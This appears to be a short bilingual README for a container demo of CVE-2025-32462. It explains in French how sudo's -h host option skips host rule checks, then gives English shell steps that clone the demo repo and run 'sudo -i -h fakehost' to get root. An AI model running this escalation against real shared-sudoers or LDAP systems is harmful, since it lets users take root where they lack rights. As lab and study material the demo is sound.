
cve-2025-32462' demo

sudo/NEWS at SUDO_1_8_8 · sudo-project/sudo · GitHub
Dans la documentation de sudo -h (--host), il est écrit que -h ne peut être utilisé qu'avec -l. Les mises à jour ultérieures ont permis à sudo -h d'être utilisé avec -e, -i, etc.
sudo --host(-h) <username> -l(--list)
/etc/sudoer.d sert à consulter les privilèges dont dispose un utilisateur sur un système. Ces privilèges peuvent être contournés, permettant à un utilisateur d'élever, sur un système donné, ses privilèges vers ceux qu'il pourrait posséder sur un autre système. Cela affecte particulièrement les systèmes qui partagent un fichier de configuration sudoers unique entre plusieurs machines ou qui utilisent des annuaires d'utilisateurs basés sur le réseau (tels que LDAP) pour fournir les règles sudoers du système.
En résumé : l'option h/--host de sudo ne respecte pas le principe du moindre privilège et ne vérifie pas les limites des règles hôte dans les scénarios autres que -l (comme l'exécution de commandes). L'attaquant peut configurer des règles malveillantes dans le fichier /etc/sudoer.d.
Cela affecte principalement les systèmes des administrateurs qui utilisent le même fichier sudoers sur plusieurs machines.
L'exploitation de la vulnérabilité nécessite de satisfaire deux exigences :
L'attaquant dispose d'un utilisateur authentifié.
Le système n'utilise pas la configuration par défaut et repose sur des règles supplémentaires présentes dans le fichier sudoers.
Exemple :
Le fichier sudoers contient des règles définissant les privilèges de cet utilisateur sur différents systèmes.
Alice hostA: some Privilege
Bob hostB: some Privilege
Bob se connecte à hostA, puis exécute la commande sudo -h hostB commandA.
git clone https://github.com/SpongeBob-369/cve-2025-32462.git
cd cve-2025-32462
chmod +x run.sh
./run.sh
# after entering the contain Ubuntu
sudo -l
# then prompt you to enter your password, but "we" don't know.
sudo -l -h fakehost # Check the permissions user ubuntu have in host named fakehost
sudo -i -h fakehost # get root